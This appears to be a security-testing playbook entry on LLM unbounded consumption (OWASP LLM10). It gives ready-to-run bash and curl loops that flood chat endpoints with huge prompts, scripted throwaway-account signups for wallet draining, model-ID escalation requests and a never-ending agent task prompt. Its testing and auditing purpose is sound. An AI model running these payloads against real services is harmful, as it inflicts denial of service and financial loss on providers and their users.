LLM Unbounded Consumption (LLM10:2025)

LLM inference is metered in dollars-per-token at the provider, and those tokens stack quickly: a context window full of attacker content costs more than the rest of the request stack combined. Unbounded consumption produces three impacts in escalating severity: provider rate-limit / hard-block (DoS), bill blowout (denial-of- wallet), and ultimately tool / sandbox resource exhaustion (DoS of the customer's compute).

1. Recognition signals

• The product exposes an authenticated or unauthenticated LLM endpoint that accepts large prompts.
• Per-user / per-tenant token budget is undocumented or absent.
• Free-tier signup grants immediate access to the most expensive model.
• Agentic system has no max-step / max-token / max-cost cap.
• Tools loop on model output without iteration cap (while not done:).
• File-upload feature dumps full document into the context.
• Background workers retry failed model calls on exponential backoff without a hard ceiling.
• Cost dashboard updates daily, not in real time.

2. Attack vectors

Direct prompt expansion (input DoS)

Submit a maximum-context-window prompt repeatedly:

seq 1 1000 | xargs -I{} curl -s -X POST "$TARGET/chat" \
    -H "Authorization: Bearer $FREE_TIER_TOKEN" \
    -d "{\"prompt\":\"$(python -c 'print("repeat this " * 30000)')\"}" \
    >/dev/null &

Cost-tier escalation

Bypass the model picker to force the most expensive model (opus / o1 / claude-3.7) on every request. Often the picker is a client-side selector that the backend trusts.

Runaway agentic loop

Submit a task that the agent cannot complete: "Read every file in / recursively and summarise each in 5 paragraphs." Each tool result feeds the next prompt; tokens grow per loop. With no max-step cap the run lasts until provider rate-limits or budget alarms fire.

Fan-out via tool calls

Trigger an LLM that itself spawns N tool calls per turn, each of which invokes a sub-LLM. Geometric blow-up.

Self-prompting / recursion

"For each of the following 100 topics, write a 5-page detailed analysis." Each topic becomes a sub-call.

Wallet-only DoS via duplicate accounts

Free-tier signup with a temp-email service; 100 accounts; each runs maximum-cost requests on a paid backend.

Long-context starvation of other users

Submit a single max-context request that holds a shared backend worker; concurrent users observe latency spikes / 5xx.

3. Audit workflow

# Find LLM endpoints + their auth requirements
grep -rE '/chat|/complete|/generate|/agent|/llm' /workspace/src

# Find token / cost cap logic (or its absence)
grep -rE 'max_tokens|max_steps|cost_budget|rate_limit|throttle|token_budget' /workspace/src

# Find model-selection bypass surface (client-controlled model id)
grep -rE 'model\s*=\s*request|model_from_body|user_choice_model' /workspace/src

# Find agentic loop terminators
grep -rE 'while.*tool|for.*step|max_iterations|recursion_limit' /workspace/src

For each endpoint ask:

1. What is the per-user max tokens per minute / per day?
2. Is the model id chosen by the user trusted server-side?
3. Is there a circuit-breaker on the provider 429 path?
4. What is the maximum total cost of a single agentic run?

4. Exploitation goals

5. PoC payloads

Wallet drain probe (free tier)

# Provision a fresh free-tier account
TOK=$(curl -X POST $TARGET/signup -d '{"email":"test+'$(uuidgen)'@example"}' | jq -r .token)

# Sustained max-cost requests
for i in $(seq 1 50); do
    curl -s -X POST "$TARGET/chat" -H "Authorization: Bearer $TOK" \
        -d '{"model":"gpt-5-pro","prompt":"'$(python -c 'print("token "*40000)')'"}' \
        >/dev/null &
done
wait

# Measure spend via vendor dashboard or attacker-side response timing

Runaway agentic loop

For each line in /etc/services, look up the protocol's RFC, fetch the
RFC, and write a 3-paragraph summary. Save each summary to a file in
/tmp. Continue until all services are processed.

Watch token count grow per loop; record at what step the system finally caps out (if ever).

Model escalation

# Backend trusts the user-supplied model id?
curl -X POST "$TARGET/chat" -d '{"model":"o1-pro","prompt":"hello"}'

If a free-tier or unauthenticated request reaches a paid model, file it.

Long-context shared-worker DoS

Concurrent: one tab sends a max-context prompt; another tab measures p95 latency of normal requests. Latency degradation on the second tab indicates a shared worker pool without queueing per tenant.

6. validate_finding contract

• success_patterns: measurable spend delta in vendor dashboard, measurable latency p95 elevation for unaffected users, request reaches a more expensive model than the user's tier allows, agentic run completes >N steps with no cap.
• negative_command: same request rate against a hardened tier baseline, or single-shot benchmark before attack.
• negative_patterns: 429 returned with backoff hint, budget block, step-limit error, queue admission denied.

7. Default CVSS

8. Chain promotion

Unbounded consumption is the LLM-channel analogue of resource exhaustion. Its severity is bounded by the customer's spend cap, not by the application code. When paired with LLM06 excessive agency, a single injection can trigger a runaway agent loop that empties the day's budget — file the chain at the higher severity and document the realistic dollar blast radius in the engagement.